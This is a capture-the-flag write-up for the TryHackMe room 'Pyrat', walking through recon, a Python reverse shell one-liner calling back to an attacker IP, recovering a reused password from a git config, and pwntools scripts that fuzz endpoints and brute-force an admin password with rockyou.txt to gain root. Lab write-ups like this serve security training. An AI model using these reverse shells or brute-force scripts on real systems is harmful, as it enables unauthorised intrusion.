# Pyrat

{% embed url="<https://tryhackme.com/r/room/pyrat>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with an Nmap scan and find two open ports. Port 22 is where we have SSH available and on port 8000 we might have a web server. On closer inspection, this is a simple HTTP server. This reminds  of the module SimpleHTTPServer in Python.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSz2tbbuytTmzjm7LW2SG%2Fgrafik.png?alt=media&#x26;token=6025004c-341f-461a-b531-076db4a7dd0f" alt=""><figcaption></figcaption></figure>

When we request the index page, we are only told to use a much simpler connection.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F76AsdgK6pd6cUD8HguMm%2Fgrafik.png?alt=media&#x26;token=073571b5-bdb7-4363-848c-8677bc857c3e" alt=""><figcaption></figcaption></figure>

## Shell as www-data

We try the simplest thing we can think of - a simple connection using netcat. We get a connection, but no feedback. Maybe we are not actually facing a web server. We assume that we are probably in a Python environment. Maybe something like a Python shell, but there is nothing to suggest this. Simple calls like `1+1` don't work, and we don't seem to be in a shell. However, we get feedback for our `whoami` command that this is not defined. We would have gotten feedback if we used something like `print(1+1)`.

```
nc pyrat.thm 8000
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3M2DW0GpDyjcTuJuT056%2Fgrafik.png?alt=media&#x26;token=6e5e8547-d85b-4f5c-92ce-dc442a320618" alt=""><figcaption></figcaption></figure>

Let's try it blind with a Python reverse shell. First we set up a listener with `nc -lnvp 4445`. For the reverse shell, we use number 2 from `revshells.com` and copy the inner part.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FomX5tgnwN1dR4H3ouY4t%2Fgrafik.png?alt=media&#x26;token=501ae59e-e6d4-4c80-8356-167b728493f7" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.211.1",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

```

{% endcode %}

Next, we enter the payload and...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FdDetyMPSmQzVmphztjMa%2Fgrafik.png?alt=media&#x26;token=fffc02e6-5e2a-472a-8b7d-49074a0d582d" alt=""><figcaption></figcaption></figure>

... we receive a connection back. We are `www-data`. With the following commands we upgrade our shell. Unfortunately we cannot find the first flag as `www-data`.

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

```
SHELL=/bin/bash script -q /dev/null
```

```
CTRL+Z
```

```
stty raw -echo && fg
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRBc9sL0j797pS20XrnCU%2Fgrafik.png?alt=media&#x26;token=86a77780-0cd3-492d-bcdf-eba3551fb6ff" alt=""><figcaption></figcaption></figure>

Interesting, though, we seem not to have access to the current directory. And furthermore, we see that the `/root/.bashrc` is loaded. We are in the root directory, and somehow we became `www-data`. There might be an interesting escape to get directly to `root`.

## Shell as think

In the `/opt` directory, we notice the `/dev` folder. This in turn has a `.git` folder. We have a repository here. We check the config and find a password for the username `think`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FEe8aPhpTcwIxXp7FUjGK%2Fgrafik.png?alt=media&#x26;token=96c1590a-dd60-4b60-975a-461f63142d1c" alt=""><figcaption></figcaption></figure>

The password has been reused, we can now switch to the user or access the machine as `think` via SSH.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FbbkUSzYXmniehjNrNc9i%2Fgrafik.png?alt=media&#x26;token=12584280-e52d-44a9-aaec-79ab0955f070" alt=""><figcaption></figcaption></figure>

## Shell as root

We look at the current git status and see that a file has been deleted. The image below shows how this is done in the SSH session, saving you unnecessary steps. In the following, the repository is first downloaded to the attacker's machine and then viewed.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrkqThTgkWXRAh7HAeETV%2Fgrafik.png?alt=media&#x26;token=a45a22fe-4934-4821-a252-207217c476c7" alt=""><figcaption></figcaption></figure>

We set up a Python web server.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5j2tlmFceGEOJzcAwHdi%2Fgrafik.png?alt=media&#x26;token=5eb51bec-9fab-4de9-ac2c-fc8fc02e9b6f" alt=""><figcaption></figcaption></figure>

Download the entire repository.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYzvyTx5VY1Fmwnf4fXPo%2Fgrafik.png?alt=media&#x26;token=950a7ee1-ab27-45db-a189-5220b0a7e9e6" alt=""><figcaption></figcaption></figure>

And start to analyze it. As mentioned before, a file has been deleted. The `pyrat.py.old`.&#x20;

```
git status
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8Xlf3x8CZgUhlKtjMlpc%2Fgrafik.png?alt=media&#x26;token=c0793ec2-3312-458d-b154-c77c27d035d8" alt=""><figcaption></figcaption></figure>

With `git restore` we restore the file.

```
git restore pyrat.py.old
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQjomnOIHETRJSGuP0wTM%2Fgrafik.png?alt=media&#x26;token=66d5027a-5e8a-4a54-9a57-b79670c59daf" alt=""><figcaption></figcaption></figure>

We see in the script that the `switch_case` function processes incoming data and performs actions based on specific conditions. If the data is 'some\_endpoint', it calls the `get_this_endpoint` function to handle that request. If the data is 'shell', it attempts to spawn an interactive shell on the server, connecting the client's socket to the shell, enabling remote command execution. For any other data input, it runs the `exec_python` function, which executes the Python code sent through the socket. It spawns us a shell.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9snTvv1kJpaWpQrFqmWu%2Fgrafik.png?alt=media&#x26;token=89092a24-0601-404e-a36d-c2082d20c2f4" alt=""><figcaption></figcaption></figure>

We go back to our necat connection on port 8000 and try `shell`. And we get a shell. It seems to be the program.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZeS3kJZVsSgbb814qbmK%2Fgrafik.png?alt=media&#x26;token=b0c04d92-db67-438f-91e4-044870cefdf5" alt=""><figcaption></figcaption></figure>

When we try 'some\_endpoint' we get the message that it is not defined. Interesting, this is where we need to fuzz for endpoints with a custom script as mentioned in the room description.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F29xJatRDoPsM0z3kBf2Q%2Fgrafik.png?alt=media&#x26;token=565e1c3f-3525-41d5-b3ed-fcd30eb3b8a4" alt=""><figcaption></figcaption></figure>

The following shows how to fuzz for the end point. But that could also be guessed, which happened in the first attempt solving the machine. (Looking at the comments)

We chose a rather small wordlist for this since we want to work our way up and use pwntools which slows it a bit down, due to the fact that each attempt gets printed.

<https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d><br>

{% code title="endpoints.py" overflow="wrap" lineNumbers="true" %}

```python
from pwn import *

# Set the host and port
host = "pyrat.thm"
port = 8000

directory_file = "endpoints.txt"

# Connect to the target
def connect_to_service():
    return remote(host, port)

# Function to attempt login with a endpoint
def attempt_endpoint(endpoint):
    # Connect to the service
    conn = connect_to_service()
    # Send the endpoint from the list
    conn.sendline(endpoint.encode())

    response = conn.recvline(timeout=2)
    # Convert the endpoint to bytes before concatenating
    if b"name '" + endpoint.encode() + b"' is not defined\n" in response:
        conn.close()
        return False
    else: 
        print(f"Endpoint '{endpoint}' might be correct!")
        conn.close()
        return True


# Main function to loop through endpoint list
def fuzz_endpoints():
    with open(directory_file, "r", encoding="latin-1") as f:
        for endpoint in f:
            endpoint = endpoint.strip()
            # Skip lines starting with '#'
            if endpoint.startswith("#") or not endpoint:
            	continue
            if attempt_endpoint(endpoint):
                print(f"Found working endpoint: {endpoint}")
                break

if __name__ == "__main__":
    fuzz_endpoints()

```

{% endcode %}

We have a direct hit with `0`, but this is only a false-positive.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQ6Qjn51xQRm0qGL5V5do%2Fgrafik.png?alt=media&#x26;token=29d481b8-609d-41c6-bfd6-7ee41fd81976" alt=""><figcaption></figcaption></figure>

The same applies to special characters or words with special characters.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FjkkdkrsV5GeAjGt4vLuw%2Fgrafik.png?alt=media&#x26;token=0f5f6d0e-4899-4486-a33b-7a1f191ecb11" alt=""><figcaption></figcaption></figure>

We remove the numbers, special characters manually and the words with special chars `-` and `_` from the list using awk.

```
awk '!/-|_/' endpoints.txt > filtered_endpoints.txt
```

After that, we run the script again...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fyr8WlukXzpC0Vrhbk2Eu%2Fgrafik.png?alt=media&#x26;token=d8a2274c-d0f1-454b-8515-f1127a1e8a21" alt=""><figcaption></figcaption></figure>

... and find the endpoint `admin` after a short duration.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FyGrj0RiIwy6egGC3716r%2Fgrafik.png?alt=media&#x26;token=9182aab2-1bfc-48aa-805d-1069566085a4" alt=""><figcaption></figcaption></figure>

We try the `admin` endpoint and see that a password is now required. If we enter the wrong password, we receive another prompt for the password `Password:` again. This applies three times, then it does not ask for a password again.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJayIg2660tjVPIO4JI0f%2Fgrafik.png?alt=media&#x26;token=9c0d5744-6fc1-4ea8-9e6a-1ac932bc5983" alt=""><figcaption></figcaption></figure>

We adapt our previous script to fuzz now for passwords using the `rockyou.txt` wordlist. We establish a new connection for the password entry every time because it stops after 3 attempts. This was actually the original script that got adapted to fuzz for the endpoints.

{% code title="fuzz.py" overflow="wrap" lineNumbers="true" %}

```python
from pwn import *

# Set the host and port
host = "pyrat.thm"
port = 8000

# File path for rockyou.txt password list
password_file = "/usr/share/wordlists/rockyou.txt"

# Connect to the target
def connect_to_service():
    return remote(host, port)

# Function to attempt login with a password
def attempt_password(password):
    # Connect to the service
    conn = connect_to_service()
    
    # Send 'admin' as the username
    conn.sendline(b"admin")
    
    # Wait for the password prompt
    conn.recvuntil(b"Password:")
    
    # Send the password from the list
    conn.sendline(password.encode())

    # Receive the response and check if we're prompted for a password again
    response = conn.recvline(timeout=2)
    response = conn.recvline(timeout=2)
    # Check if we're asked for the password again (indicates incorrect password)
    if b"Password:" in response:
        print(f"Password '{password}' failed.")
        conn.close()
        return False
    elif b"Welcome" in response or b"Success" in response:  # Adjust this based on the actual success message
        print(f"Password '{password}' might be correct!")
        conn.close()
        return True
    else:
        # Some other response that might indicate progress (adjust based on your observations)
        print(f"Unexpected response for password '{password}'. Response: {response}")
        conn.close()
        return False

# Main function to loop through password list
def fuzz_passwords():
    with open(password_file, "r", encoding="latin-1") as f:
        for password in f:
            password = password.strip()
            if attempt_password(password):
                print(f"Found working password: {password}")
                break

if __name__ == "__main__":
    fuzz_passwords()

```

{% endcode %}

We run the script and receive a password that seems valid, since the prompt for a password was not repeated.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FoEcyomTb1jxwfXnJgRbi%2Fgrafik.png?alt=media&#x26;token=e04b097b-b395-42e1-ae5e-66d8b323c2ac" alt=""><figcaption></figcaption></figure>

We try this in our netcat connection, and are greeted with a welcome message to try out the shell. After entering 'shell', we receive a `root` shell and are able to read the flag at `/root/root.txt`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGJavKOD8iIe4m8HgB7Xy%2Fgrafik.png?alt=media&#x26;token=679e888f-c0af-4375-b3ce-0bbd7224c527" alt=""><figcaption></figcaption></figure>
